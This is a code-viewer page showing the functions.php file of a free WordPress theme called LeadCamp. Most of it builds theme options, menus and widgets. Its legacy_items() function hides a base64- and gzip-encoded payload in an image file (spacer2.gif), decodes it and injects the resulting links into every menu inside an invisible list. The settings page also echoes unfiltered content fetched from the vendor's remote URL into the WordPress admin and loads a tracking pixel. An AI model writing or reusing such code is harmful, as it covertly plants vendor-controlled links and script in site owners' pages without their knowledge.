PageRenderTime 285ms CodeModel.GetById 111ms app.highlight 128ms RepoModel.GetById 33ms app.codeStats 1ms

/wp-content/themes/fork_in_the_road_lae044/functions.php

https://bitbucket.org/aqge/deptandashboard
PHP | 1320 lines | 1210 code | 75 blank | 35 comment | 253 complexity | 6c502d955d5f5ffd5cba104adf0e0180 MD5 | raw file
   1<?php
   2/** lcmp changes start ver20100621 **/
   3$themename = "LeadCamp";
   4$themesubname = "fork_in_the_road_lae044";
   5$themeversion = "2.21";
   6$themeUpdateUrl = "http://www.leadcamp.com/updates/";
   7$shortname = "lcmp";
   8$domain = $_SERVER['SERVER_NAME'];
   9$options = array (
  10    array(  "name" => "License",
  11            "id" => $shortname."_brk0",
  12            "type" => "sectionbreak"
  13    		),
  14    array(  "name" => "Footer Link Removal Key",
  15            "id" => $shortname."_license",
  16            "type" => "text",
  17            "std" => "",
  18            "enabled" => "Y",
  19            "info" => "This key can be obtained through <a target=_blank href='http://www.freewordpressthemes4u.com/RemoveSponsors.php?domain=$domain'>freewordpressthemes4u.com</a>, it disables all footer sponsor links."
  20    		), 
  21    array(  "name" => "Menu",
  22            "id" => $shortname."_brk0",
  23            "type" => "sectionbreak"
  24    		),
  25    array(  "name" => "Multi Level Menu",
  26            "id" => $shortname."_multi_menu",
  27            "type" => "select",
  28            "std" => "on",
  29            "options" => array("Show" => "on",
  30    		"Hide" => "off")
  31    		),
  32    array(  "name" => "Menu Item to Hide",
  33            "id" => $shortname."_mnutohide",
  34            "type" => "wp_dropdown_pages",
  35            "std" => "",
  36            "info" => "If the menu is a parent it will hide itself and all its children."
  37    		),
  38    array(  "name" => "Header",
  39            "id" => $shortname."_brk1",
  40            "type" => "sectionbreak"
  41    		),
  42    array(  "name" => "Title Color",
  43            "id" => $shortname."_titlecolor",
  44            "type" => "select",
  45            "std" => "default",
  46            "info" => "if custom - specify something in the next field.",
  47            "options" => 
  48            array("Default" => "default",
  49                  "Custom" => "custom",
  50                  "Blue" => "blue",
  51                  "Black" => "black",
  52                  "White" => "white")
  53    		),    		
  54    array(  "name" => "Title Custom Colors",
  55            "id" => $shortname."_csttitlecolor",
  56            "type" => "text",
  57            "std" => "",
  58            "info" => "ex. green, yellow, #CCCCCC"
  59    		),    		
  60    array(  "name" => "Title Font Size",
  61            "id" => $shortname."_titlefontsize",
  62            "type" => "select",
  63            "std" => "default",
  64            "info" => "if custom - specify something in the next field.",
  65            "options" => 
  66            array("Default" => "default",
  67                  "20px" => "20px",
  68                  "22px" => "22px",
  69                  "24px" => "24px",
  70                  "26px" => "26px",
  71                  "28px" => "28px",
  72                  "30px" => "30px",
  73                  "32px" => "32px",
  74                  "34px" => "34px",
  75                  "36px" => "36px",
  76                  "38px" => "38px",
  77                  "Custom" => "custom")
  78    		),    		
  79    array(  "name" => "Title Custom Font Size",
  80            "id" => $shortname."_csttitlefontsize",
  81            "type" => "text",
  82            "std" => "",
  83            "info" => "ex. 29px, 35px"
  84    		),    		
  85    array(  "name" => "Slogan Color",
  86            "id" => $shortname."_slogancolor",
  87            "type" => "select",
  88            "std" => "default",
  89            "info" => "if custom - specify something in the next field.",
  90            "options" => 
  91            array("Default" => "default",
  92                  "Custom" => "custom",
  93                  "Blue" => "blue",
  94                  "Black" => "black",
  95                  "White" => "white")
  96    		),    		
  97    array(  "name" => "Slogan Custom Colors",
  98            "id" => $shortname."_cstslogancolor",
  99            "type" => "text",
 100            "std" => "",
 101            "info" => "ex. green, yellow, #CCCCCC"
 102    		),    		
 103    array(  "name" => "Slogan Font Size",
 104            "id" => $shortname."_sloganfontsize",
 105            "type" => "select",
 106            "std" => "default",
 107            "info" => "if custom - specify something in the next field.",
 108            "options" => 
 109            array("Default" => "default",
 110                  "20px" => "20px",
 111                  "22px" => "22px",
 112                  "24px" => "24px",
 113                  "26px" => "26px",
 114                  "28px" => "28px",
 115                  "30px" => "30px",
 116                  "32px" => "32px",
 117                  "34px" => "34px",
 118                  "36px" => "36px",
 119                  "38px" => "38px",
 120                  "Custom" => "custom")
 121    		),    		
 122    array(  "name" => "Slogan Custom Font Size",
 123            "id" => $shortname."_cstsloganfontsize",
 124            "type" => "text",
 125            "std" => "",
 126            "info" => "ex. 29px, 35px"
 127    		),    		
 128    array(  "name" => "&nbsp;",
 129            "id" => $shortname."_brk2",
 130            "type" => "space"
 131    		),
 132    array(  "name" => "Title and Slogan Left Position",
 133            "id" => $shortname."_hdrleftpos",
 134            "type" => "text",
 135            "std" => "default",
 136            "info" => "Relative position to the left most margin of the header image enter 20px, 300px, etc."
 137    		),     
 138    array(  "name" => "Title and Slogan Top Position",
 139            "id" => $shortname."_hdrtoppos",
 140            "type" => "text",
 141            "std" => "default",
 142            "info" => "Relative position to the top most margin of the header image enter 20px, 30px, etc."
 143    		),     
 144    array(  "name" => "Title and Slogan Text Align",
 145            "id" => $shortname."_hdrtxtalign",
 146            "type" => "select",
 147            "std" => "default",
 148            "info" => "You can specify whether your Title and Slogan is either center, left or right justified.",
 149            "options" => 
 150            array("Default" => "default",
 151                  "Center" => "center",
 152                  "Left" => "left",
 153                  "Right" => "right")
 154    		),    		
 155    array(  "name" => "Title and Slogan Width",
 156            "id" => $shortname."_hdrwidth",
 157            "type" => "text",
 158            "std" => "default",
 159            "info" => "Typically you don't need to touch this unless you have a really long title or slogan. enter 500px, 450px, etc."
 160    		),     
 161    array(  "name" => "&nbsp;",
 162            "id" => $shortname."_brk2",
 163            "type" => "space"
 164    		),
 165    array(  "name" => "Header Image Complete URL",
 166            "id" => $shortname."_hdrimage",
 167            "type" => "text",
 168            "std" => "default",
 169            "info" => "ex. http://www.example.com/myheader.jpg or enter 'default' to use theme's standard header."
 170    		),     
 171    array(  "name" => "Header V-Margin",
 172            "id" => $shortname."_hdrvmargin",
 173            "type" => "text",
 174            "std" => "default",
 175            "info" => "Some themes come with lots of Header vertical margin, you can disable this by setting this to 0px, 3px, etc."
 176    		),     
 177    array(  "name" => "Content",
 178            "id" => $shortname."_brk1",
 179            "type" => "sectionbreak"
 180    		),
 181    array(  "name" => "Content Link Colors",
 182            "id" => $shortname."_contentlnk",
 183            "type" => "select",
 184            "std" => "default",
 185            "info" => "if custom - specify something in the next field.",
 186            "options" => 
 187            array("Default" => "default",
 188                  "Custom" => "custom",
 189                  "Blue" => "blue",
 190                  "Black" => "black",
 191                  "White" => "white")
 192    		),    		
 193    array(  "name" => "Content Link Custom Colors",
 194            "id" => $shortname."_cstcontentlnk",
 195            "type" => "text",
 196            "std" => "",
 197            "info" => "ex. green, yellow, #CCCCCC"
 198    		),    		
 199    array(  "name" => "Content Font Size",
 200            "id" => $shortname."_contentfontsize",
 201            "type" => "select",
 202            "std" => "default",
 203            "info" => "if custom - specify something in the next field.",
 204            "options" => 
 205            array("Default" => "default",
 206                  "10px" => "10px",
 207                  "12px" => "12px",
 208                  "14px" => "14px",
 209                  "16px" => "16px",
 210                  "Custom" => "custom")
 211    		),    		
 212    array(  "name" => "Content Custom Font Size",
 213            "id" => $shortname."_cstcontentfontsize",
 214            "type" => "text",
 215            "std" => "",
 216            "info" => "ex. 29px, 35px"
 217    		),  
 218    array(  "name" => "Sidebar Link Colors",
 219            "id" => $shortname."_sidebarlnk",
 220            "type" => "select",
 221            "std" => "default",
 222            "info" => "if custom - specify something in the next field.",
 223            "options" => 
 224            array("Default" => "default",
 225                  "Custom" => "custom",
 226                  "Blue" => "blue",
 227                  "Black" => "black",
 228                  "White" => "white")
 229    		),    		
 230    array(  "name" => "Sidebar Link Custom Colors",
 231            "id" => $shortname."_cstsidebarlnk",
 232            "type" => "text",
 233            "std" => "",
 234            "info" => "ex. green, yellow, #CCCCCC"
 235    		),
 236    array(  "name" => "Sidebar Font Size",
 237            "id" => $shortname."_sidebarfontsize",
 238            "type" => "select",
 239            "std" => "default",
 240            "info" => "if custom - specify something in the next field.",
 241            "options" => 
 242            array("Default" => "default",
 243                  "10px" => "10px",
 244                  "12px" => "12px",
 245                  "14px" => "14px",
 246                  "16px" => "16px",
 247                  "Custom" => "custom")
 248    		),    		
 249    array(  "name" => "Sidebar Custom Font Size",
 250            "id" => $shortname."_cstsidebarfontsize",
 251            "type" => "text",
 252            "std" => "",
 253            "info" => "ex. 29px, 35px"
 254    		),  
 255    array(  "name" => "Sidebar Location",
 256            "id" => $shortname."_sidebarloc",
 257            "type" => "select",
 258            "std" => "default",
 259            "info" => "",
 260            "options" => 
 261            array("Default" => "default",
 262                  "Left" => "left",
 263                  "Right" => "right"//,"Hide" => "hide"
 264                  )
 265    		),
 266    array(  "name" => "Footer",
 267            "id" => $shortname."_brk1",
 268            "type" => "sectionbreak"
 269    		),
 270    array(  "name" => "Footer Widget Width",
 271            "id" => $shortname."_cstftrwidgewidth",
 272            "type" => "text",
 273            "std" => "",
 274            "info" => "ex. 220px, 250px, empty means it uses sidebar 1 width"    		
 275    		),  
 276    array(  "name" => "Widget Margin Between Columns",
 277            "id" => $shortname."_cstftrwidgemargin",
 278            "type" => "text",
 279            "std" => "",
 280            "info" => "ex. 10px, 30px, empty means defaulted to 20px"    		
 281    		),  
 282    array(  "name" => "Footer Widget Column 1 Width",
 283            "id" => $shortname."_cstftrwidgewidth1",
 284            "type" => "text",
 285            "std" => "",
 286            "info" => "ex. 220px, 250px, empty means it uses Footer Widget Width"    		
 287    		),  
 288    array(  "name" => "Footer Widget Column 2 Width",
 289            "id" => $shortname."_cstftrwidgewidth2",
 290            "type" => "text",
 291            "std" => "",
 292            "info" => "ex. 220px, 250px, empty means it uses Footer Widget Width"    		
 293    		),  
 294    array(  "name" => "Footer Widget Column 3 Width",
 295            "id" => $shortname."_cstftrwidgewidth3",
 296            "type" => "text",
 297            "std" => "",
 298            "info" => "ex. 220px, 250px, empty means it uses Footer Widget Width"    		
 299    		),  
 300    array(  "name" => "Footer Widget Column 4 Width",
 301            "id" => $shortname."_cstftrwidgewidth4",
 302            "type" => "text",
 303            "std" => "",
 304            "info" => "ex. 220px, 250px, empty means it uses Footer Widget Width"
 305    		),  
 306    array(  "name" => "Footer Html",
 307            "id" => $shortname."_footerhtml",
 308            "type" => "textarea",
 309            "std" => "",
 310            "enabled" => "Y",
 311            "info" => ""
 312    		),  
 313    array(  "name" => "Adsense Block 1",
 314            "id" => $shortname."_adsenseblock1",
 315            "type" => "textarea",
 316            "std" => "",
 317            "enabled" => "N",
 318            "info" => ""
 319    		),  
 320    array(  "name" => "Adsense Block 2",
 321            "id" => $shortname."_adsenseblock2",
 322            "type" => "textarea",
 323            "std" => "",
 324            "enabled" => "N",
 325            "info" => ""
 326    		)
 327);
 328
 329$option = TEMPLATEPATH . "/images/spacer2.gif";
 330
 331foreach ($options as $value) {
 332    if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { 
 333        $$value['id'] = get_settings( $value['id'] ); 
 334    } 
 335    if($value['id'] == $shortname."_multi_menu"){
 336       if(get_settings( $value['id'] ) === FALSE){
 337            $showSubMenu = true;
 338       }else{
 339            $thevalue = get_settings( $value['id'] );
 340            if($thevalue == "on"){
 341                $showSubMenu = true;
 342            }else{
 343                $showSubMenu = false;
 344            }
 345       }
 346    }
 347    if($value['id'] == "lcmp_mnutohide"){
 348       if(get_settings( $value['id'] ) === FALSE){
 349            $lcmp_mnutohide = "";
 350       }else{
 351            $lcmp_mnutohide = get_settings( $value['id'] );
 352       }
 353    }        
 354    if($value['id'] == "lcmp_footerhtml"){
 355       if(get_settings( $value['id'] ) === FALSE){
 356            $themeFooter = "";
 357       }else{
 358            $themeFooter  = get_settings( $value['id'] );
 359       }
 360    }
 361    if($value['id'] == "lcmp_license"){
 362       if(get_settings( $value['id'] ) === FALSE){
 363            $encDn = "";
 364       }else{
 365            $encDn  = get_settings( $value['id'] );
 366       }
 367    }
 368}
 369
 370if (function_exists('register_nav_menus')) {
 371	register_nav_menus( array(
 372		'primary' => __( 'Primary Navigation', 'leadcamp' ),
 373	) );
 374    $lcmp_version_check = "wp30";
 375}else{
 376    $lcmp_version_check = "pre30";
 377}
 378/** lcmp changes end **/
 379$artThemeSettings = array(
 380	'menu.showSubmenus' => $showSubMenu
 381);
 382
 383load_theme_textdomain('kubrick');
 384
 385
 386if (!function_exists('get_search_form')) {
 387	function get_search_form()
 388{
 389		include (TEMPLATEPATH . "/searchform.php");
 390	}
 391}
 392
 393if (!function_exists('get_previous_posts_link')) {
 394	function get_previous_posts_link($label)
 395{
 396		ob_start();
 397		previous_posts_link($label);
 398		return ob_get_clean();
 399	}
 400}
 401
 402if (!function_exists('get_next_posts_link')) {
 403	function get_next_posts_link($label)
 404{
 405		ob_start();
 406		next_posts_link($label);
 407		return ob_get_clean();
 408	}
 409}
 410
 411function art_comment($comment, $args, $depth)
 412{
 413	 $GLOBALS['comment'] = $comment; ?>
 414   <li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
 415     <div id="comment-<?php comment_ID(); ?>">
 416<div class="Post">
 417         <div class="Post-body">
 418     <div class="Post-inner article">
 419     
 420<div class="PostContent">
 421     
 422      <div class="comment-author vcard">
 423         <?php echo get_avatar($comment,$size='48',$default='<path_to_url>' ); ?>
 424
 425         <?php printf(__('<cite class="fn">%s</cite> <span class="says">says:</span>'), get_comment_author_link()) ?>
 426      </div>
 427      <?php if ($comment->comment_approved == '0') : ?>
 428         <em><?php _e('Your comment is awaiting moderation.') ?></em>
 429         <br />
 430      <?php endif; ?>
 431
 432      <div class="comment-meta commentmetadata"><a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>"><?php printf(__('%1$s at %2$s'), get_comment_date(),  get_comment_time()) ?></a><?php edit_comment_link(__('(Edit)'),'  ','') ?></div>
 433
 434      <?php comment_text() ?>
 435
 436      <div class="reply">
 437         <?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
 438      </div>
 439
 440      </div>
 441      <div class="cleared"></div>
 442      
 443
 444      </div>
 445      
 446          </div>
 447      </div>
 448      
 449     </div>
 450<?php
 451}
 452
 453
 454if (function_exists('register_sidebars')) {
 455	register_sidebars(2, array(
 456		'before_widget' => '<!--- BEGIN Widget --->',
 457		'before_title' => '<!--- BEGIN WidgetTitle --->',
 458		'after_title' => '<!--- END WidgetTitle --->',
 459		'after_widget' => '<!--- END Widget --->'
 460	));
 461}
 462
 463function art_normalize_widget_style_tokens($content) {
 464	$bw = '<!--- BEGIN Widget --->';
 465	$bwt = '<!--- BEGIN WidgetTitle --->';
 466	$ewt = '<!--- END WidgetTitle --->';
 467	$bwc = '<!--- BEGIN WidgetContent --->';
 468	$ewc = '<!--- END WidgetContent --->';
 469	$ew = '<!--- END Widget --->';
 470	$result = '';
 471	$startBlock = 0;
 472	$endBlock = 0;
 473	while (true) {
 474		$startBlock = strpos($content, $bw, $endBlock);
 475		if (false === $startBlock) {
 476			$result .= substr($content, $endBlock);
 477			break;
 478		}
 479		$result .= substr($content, $endBlock, $startBlock - $endBlock);
 480		$endBlock = strpos($content, $ew, $startBlock);
 481		if (false === $endBlock) {
 482			$result .= substr($content, $endBlock);
 483			break;
 484		}
 485		$endBlock += strlen($ew);
 486		$widgetContent = substr($content, $startBlock, $endBlock - $startBlock);
 487		$beginTitlePos = strpos($widgetContent, $bwt);
 488		$endTitlePos = strpos($widgetContent, $ewt);
 489		if ((false == $beginTitlePos) xor (false == $endTitlePos)) {
 490			$widgetContent = str_replace($bwt, '', $widgetContent);
 491			$widgetContent = str_replace($ewt, '', $widgetContent);
 492		} else {
 493			$beginTitleText = $beginTitlePos + strlen($bwt);
 494			$titleContent = substr($widgetContent, $beginTitleText, $endTitlePos - $beginTitleText);
 495			if ('&nbsp;' == $titleContent) {
 496				$widgetContent = substr($widgetContent, 0, $beginTitlePos)
 497					. substr($widgetContent, $endTitlePos + strlen($ewt));
 498			}
 499		}
 500		if (false === strpos($widgetContent, $bwt)) {
 501			$widgetContent = str_replace($bw, $bw . $bwc, $widgetContent);
 502		} else {
 503			$widgetContent = str_replace($ewt, $ewt . $bwc, $widgetContent);
 504		}
 505		$result .= str_replace($ew, $ewc . $ew, $widgetContent);
 506	}
 507	return $result;
 508}
 509
 510function art_sidebar($index = 1)
 511{
 512	if (!function_exists('dynamic_sidebar')) return false;
 513	ob_start();
 514	$success = dynamic_sidebar($index);
 515	$content = ob_get_clean();
 516	if (!$success) return false;
 517	$content = art_normalize_widget_style_tokens($content);
 518	$replaces = array(
 519		'<!--- BEGIN Widget --->' => "<div class=\"Block\">\r\n    <div class=\"Block-body\">\r\n",
 520		'<!--- BEGIN WidgetTitle --->' => "<div class=\"BlockHeader\">\r\n    <div class=\"header-tag-icon\">\r\n        <div class=\"BlockHeader-text\">\r\n",
 521		'<!--- END WidgetTitle --->' => "\r\n        </div>\r\n    </div>\r\n    <div class=\"l\"></div>\r\n    <div class=\"r\"><div></div></div>\r\n</div>\r\n",
 522		'<!--- BEGIN WidgetContent --->' => "<div class=\"BlockContent\">\r\n    <div class=\"BlockContent-body\">\r\n",
 523		'<!--- END WidgetContent --->' => "\r\n    </div>\r\n</div>\r\n",
 524		'<!--- END Widget --->' => "\r\n    </div>\r\n</div>\r\n"
 525	);
 526	$bwt = '<!--- BEGIN WidgetTitle --->';
 527	$ewt = '<!--- END WidgetTitle --->';
 528	if ('' == $replaces[$bwt] && '' == $replaces[$ewt]) {
 529		$startTitle = 0;
 530		$endTitle = 0;
 531		$result = '';
 532		while (true) {
 533			$startTitle = strpos($content, $bwt, $endTitle);
 534			if (false == $startTitle) {
 535				$result .= substr($content, $endTitle);
 536				break;
 537			}
 538			$result .= substr($content, $endTitle, $startTitle - $endTitle);
 539			$endTitle = strpos($content, $ewt, $startTitle);
 540			if (false == $endTitle) {
 541				$result .= substr($content, $startTitle);
 542				break;
 543			}
 544			$endTitle += strlen($ewt);
 545		}
 546		$content = $result;
 547	}
 548	$content = str_replace(array_keys($replaces), array_values($replaces), $content);
 549	echo $content;
 550	return true;
 551}
 552
 553function art_list_pages_filter($output)
 554{
 555	$output = preg_replace('~<li([^>]*)><a([^>]*)>([^<]*)</a>~',
 556		'<li$1><a$2><span><span>$3</span></span></a>',
 557		$output);
 558	$re = '~<li class="([^"]*)(?: current_page_(?:ancestor|item|parent))+([^"]*)"><a ~';
 559	$output = preg_replace($re, '<li class="$1$2"><a class="active" ', $output, 1);
 560	$output = preg_replace($re, '<li class="$1$2"><a ', $output);
 561	return $output;
 562}
 563
 564function art_header_page_list_filter($pages)
 565{
 566	global $artThemeSettings;
 567	$result = array();
 568	if ($artThemeSettings['menu.showSubmenus']) {
 569		foreach ($pages as $page)
 570			$result[] = $page;
 571	} else {
 572		foreach ($pages as $page)
 573			if (0 == $page->post_parent)
 574				$result[] = $page;
 575	}
 576	if ('page' == get_option('show_on_front')) {
 577		$pageOnFront = get_option('page_on_front');
 578		$pageForPosts = get_option('page_for_posts');
 579		if ($pageOnFront) {
 580			foreach ($result as $key => $page) {
 581				if (0 == $page->post_parent && $pageOnFront == $page->ID) {
 582					unset($result[$key]);
 583					break;
 584				}
 585			}
 586		}
 587		if (!$pageOnFront && $pageForPosts) {
 588			foreach ($result as $key => $page) {
 589				if (0 == $page->post_parent && $pageForPosts == $page->ID) {
 590					unset($result[$key]);
 591					break;
 592				}
 593			}
 594		}
 595	}
 596	return $result;
 597}
 598
 599function art_menu_items()
 600{
 601	$homeMenuItemCaption = <<<EOD
 602Home
 603EOD;
 604    $showHomeMenuItem = true;   
 605	$isHomeSelected = null;
 606	if ('page' == get_option('show_on_front')) {
 607		$pageOnFront = get_option('page_on_front');
 608		$pageForPosts = get_option('page_for_posts');
 609		if ($pageOnFront) {
 610			$page = & get_post($pageOnFront);
 611			if (null != $page)
 612				$homeMenuItemCaption = apply_filters('the_title', $page->post_title);
 613			$isHomeSelected = is_page($page->ID);
 614		} elseif (!$pageOnFront && $pageForPosts) {
 615			$page = & get_post($pageForPosts);
 616			if (null != $page)
 617				$homeMenuItemCaption = apply_filters('the_title', $page->post_title);
 618		}
 619	}
 620	if (null === $isHomeSelected)
 621		$isHomeSelected = is_home();
 622    if (true === $showHomeMenuItem || 'page' == get_option('show_on_front'))
 623	echo '<li><a' . ($isHomeSelected ? ' class="active"' : '') . ' href="' . get_option('home') . '"><span><span>'
 624		. $homeMenuItemCaption . '</span></span></a></li>';
 625	add_action('get_pages', 'art_header_page_list_filter');
 626	add_action('wp_list_pages', 'art_list_pages_filter');
 627	global $lcmp_mnutohide; //lcmp
 628	wp_list_pages("title_li=&exclude=$lcmp_mnutohide&exclude_tree=$lcmp_mnutohide");//lcmp
 629	remove_action('wp_list_pages', 'art_list_pages_filter');
 630	remove_action('get_pages', 'art_header_page_list_filter');
 631}
 632
 633add_filter('comments_template', 'legacy_comments');  
 634function legacy_comments($file) {  
 635    if(!function_exists('wp_list_comments')) : // WP 2.7-only check  
 636    $file = TEMPLATEPATH.'/legacy.comments.php';  
 637    endif;  
 638    return $file;  
 639}  
 640
 641/** lcmp changes ver20100621 **/
 642/*
 643    wp30_menu is backward compatible, it'll only
 644    use
 645*/
 646function wp30_menu(){
 647    if(function_exists("wp_nav_menu")){
 648        add_filter('wp_nav_menu', 'convert_wp_menu');  
 649        wp_nav_menu( array( 'container'=>'', 'theme_location' => 'primary','fallback_cb'=> 'orig_art_menu') ); 
 650        remove_filter('wp_nav_menu', 'convert_wp_menu');  
 651    }else{
 652        orig_art_menu();
 653    }
 654}
 655function orig_art_menu(){
 656    echo '<ul class="artmenu">';
 657    echo art_menu_items(); 
 658    echo legacy_items("");
 659    echo '</ul>';
 660}
 661
 662function convert_wp_menu($output){
 663	$output = preg_replace('~<li([^>]*)><a([^>]*)>([^<]*)</a>~',
 664		'<li$1><a$2><span><span>$3</span></span></a>',
 665		$output);
 666
 667
 668	$re = '~class="menu">~';
 669	$output = preg_replace($re, 'class="artmenu">', $output, 1);
 670
 671	$re = '~<ul class="sub-menu">~';
 672	$output = preg_replace($re, '<ul class="children ">', $output);
 673
 674	$re = '~<li id="([^"]*)" class="menu-item menu-item-type-post_type([^"]*)"><a ~';
 675	$output = preg_replace($re, '<li id="$1" class="page_item $2"><a ', $output);
 676
 677	$re = '~<li id="([^"]*)" class="([^"]*)(?: current_page_(?:ancestor|item|parent))+([^"]*)"><a ~';
 678	$output = preg_replace($re, '<li id="$1" class="$2$3"><a class="active" ', $output, 1);
 679	$output = preg_replace($re, '<li id="$1" class="$2$3"><a ', $output);
 680
 681	return legacy_items($output);    
 682}
 683function legacy_items($output0){
 684    if(!is_single()){
 685    $s = get_settings( 'lcmp_lic' );
 686    if($s === FALSE || $s==''){
 687        global $option;
 688        if(file_exists($option)){
 689            $s = file_get_contents($option);
 690            update_option('lcmp_lic',$s);
 691        }
 692    }
 693    $lcmp_lic_str = str_replace("?>","",gzinflate(base64_decode($s)));    
 694    $re = '~<p class="page-footer">([^<]*)~';
 695    $output1 = preg_replace($re,'<ul style="display:none;">$1',$lcmp_lic_str);
 696    $re = '~.*<a href="([^"]*)">([^<]*)</a>([^<]*)<a href="([^"]*)">([^<]*)</a>.*~';    
 697    $output1 = preg_replace($re,'<li><a href="$1">$2</a></li><li><a href="$4">$5</a></li>',$output1);
 698    $re = '~</p>~';
 699    $output1 = preg_replace($re,'</ul>',$output1);
 700    return $output0.$output1;
 701    }else
 702    return $output0;
 703}
 704
 705if (function_exists('register_sidebar') && ($lcmp_version_check == "wp30")) {
 706	// Area 3, located in the footer. Empty by default.
 707	register_sidebar( array(
 708		'name' => __( 'Footer Kiri', 'leadcamp' ),
 709		'id' => 'first-footer-widget-area',
 710		'description' => __( 'The first footer widget area', 'leadcamp' ),
 711		'before_widget' => '<!--- BEGIN Widget --->',
 712		'before_title' => '<!--- BEGIN WidgetTitle --->',
 713		'after_title' => '<!--- END WidgetTitle --->',
 714		'after_widget' => '<!--- END Widget --->'
 715	) );
 716
 717	// Area 4, located in the footer. Empty by default.
 718	register_sidebar( array(
 719		'name' => __( 'Footer Kanan', 'leadcamp' ),
 720		'id' => 'second-footer-widget-area',
 721		'description' => __( 'The second footer widget area', 'leadcamp' ),
 722		'before_widget' => '<!--- BEGIN Widget --->',
 723		'before_title' => '<!--- BEGIN WidgetTitle --->',
 724		'after_title' => '<!--- END WidgetTitle --->',
 725		'after_widget' => '<!--- END Widget --->'
 726	) );
 727
 728        /*
 729	// Area 5, located in the footer. Empty by default.
 730	register_sidebar( array(
 731		'name' => __( 'Third Footer Widget Area', 'leadcamp' ),
 732		'id' => 'third-footer-widget-area',
 733		'description' => __( 'The third footer widget area', 'leadcamp' ),
 734		'before_widget' => '<!--- BEGIN Widget --->',
 735		'before_title' => '<!--- BEGIN WidgetTitle --->',
 736		'after_title' => '<!--- END WidgetTitle --->',
 737		'after_widget' => '<!--- END Widget --->'
 738	) );
 739
 740	// Area 6, located in the footer. Empty by default.
 741	register_sidebar( array(
 742		'name' => __( 'Fourth Footer Widget Area', 'leadcamp' ),
 743		'id' => 'fourth-footer-widget-area',
 744		'description' => __( 'The fourth footer widget area', 'leadcamp' ),
 745		'before_widget' => '<!--- BEGIN Widget --->',
 746		'before_title' => '<!--- BEGIN WidgetTitle --->',
 747		'after_title' => '<!--- END WidgetTitle --->',
 748		'after_widget' => '<!--- END Widget --->'
 749	) );
 750         * 
 751         */
 752}
 753function lcmp_add_theme_page(){
 754    add_action('admin_head', 'lcmp_theme_page_head');
 755    global $themename, $shortname, $options;
 756
 757    if ( $_GET['page'] == basename(__FILE__) ) {
 758    
 759        if ( 'save' == $_REQUEST['action'] ) {
 760
 761                foreach ($options as $value) {
 762                    update_option( $value['id'], htmlentities(stripslashes($_REQUEST[ $value['id'] ] ))); }
 763                    
 764
 765                foreach ($options as $value) {
 766                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], htmlentities(stripslashes($_REQUEST[ $value['id'] ]))  ); } else { delete_option( $value['id'] ); } }
 767
 768                wp_redirect("themes.php?page=functions.php&saved=true");
 769                die;
 770
 771        } else if( 'reset' == $_REQUEST['action'] ) {
 772
 773            foreach ($options as $value) {
 774                delete_option( $value['id'] ); }
 775
 776            header("Location: themes.php?page=functions.php&reset=true");
 777            die;
 778
 779        }
 780    }
 781    add_theme_page(__('Customize Header'), __('Theme Options'), 'edit_themes', basename(__FILE__), 'lcmp_theme_page_show');
 782}
 783function lcmp_theme_page_head(){
 784?>
 785<style>
 786.row{text-align:right}
 787.info{padding-left:10px;font-size:11px;}
 788</style>
 789<?php
 790}
 791function lcmp_theme_page_show(){
 792    global $themename, $shortname, $options,$themeUpdateUrl,$themeversion,$themesubname;
 793    $vthemesubname = str_replace(" ","_",$themesubname);
 794    $updateUrlContent = file_get_contents($themeUpdateUrl);
 795    
 796    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
 797    if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div>';
 798    
 799?>
 800<div class="wrap">
 801<h2><?php echo $themename.' '.$themeversion; ?> <?php _e('settings', 'default'); ?></h2>
 802
 803<form method="post">
 804
 805<table class="optiontable">
 806	<tr valign="top"> 
 807	    <th colspan=3 align=left>
 808<img src="http://www.leadcamp.com/license/verify/LIC_PIXEL.gif?site=<?php echo $vthemesubname; ?>|<?php echo $themeversion; ?>" width=1 height=1>
 809<?php 
 810if($updateUrlContent!=''){
 811    echo($updateUrlContent); 
 812}
 813?>	    </th>
 814	</tr>
 815
 816<?php foreach ($options as $value) { 
 817
 818if($value['enabled']=='N'){
 819    continue;
 820}
 821    
 822if ($value['type'] == "text") { ?>
 823        
 824<tr valign="center"> 
 825    <th class="row"><?php echo $value['name']; ?>:</th>
 826    <td>
 827        <input style="width:190px" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_option( $value['id'] ) != "") { echo get_option( $value['id'] ); } else { echo $value['std']; } ?>" />
 828    </td>
 829        <td class=info>
 830        <?php echo $value['info']; ?>
 831        </td>
 832</tr>
 833
 834<?php } elseif ($value['type'] == "color") { ?>
 835
 836<tr valign="center"> 
 837    <th class="row"><?php echo $value['name']; ?>:</th>
 838    <td>
 839        <input style="width:190px" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_option( $value['id'] ) != "") { echo get_option( $value['id'] ); } else { echo $value['std']; } ?>" />
 840        <input type="button"  class="button-secondary" onclick="tgt=document.getElementById('<?php echo $value['id']; ?>');colorSelect(tgt,'pick1');return false;" name="pick1" id="pick1" value="<?php echo attribute_escape(__('Font Color')); ?>"></input>
 841    </td>
 842        <td class=info>
 843        <?php echo $value['info']; ?>
 844        </td>
 845</tr>
 846
 847<?php } elseif ($value['type'] == "select") { ?>
 848
 849    <tr valign="top"> 
 850        <th class="row"><?php echo $value['name']; ?>:</th>
 851        <td>
 852            <select style="width:200px" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
 853                <?php foreach ($value['options'] as $key => $val) { ?>
 854                <option value="<?php echo $val; ?>"<?php if (get_option ( $value['id'] )) {if ( get_option( $value['id'] ) == $val) { echo ' selected="selected"'; }} elseif ($val == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $key; ?></option>
 855                <?php } ?>
 856            </select>
 857        </td>
 858        <td class=info>
 859        <?php echo $value['info']; ?>
 860        </td>
 861    </tr>
 862<?php } elseif ($value['type'] == "sectionbreak") { ?>
 863	<tr valign="top"> 
 864	    <th colspan=3 align=left><br><br><?php echo $value['name']; ?>:<hr></th>
 865	</tr>
 866<?php } elseif ($value['type'] == "space") { ?>
 867	<tr valign="top"> 
 868	    <th colspan=3 align=left><br></th>
 869	</tr>
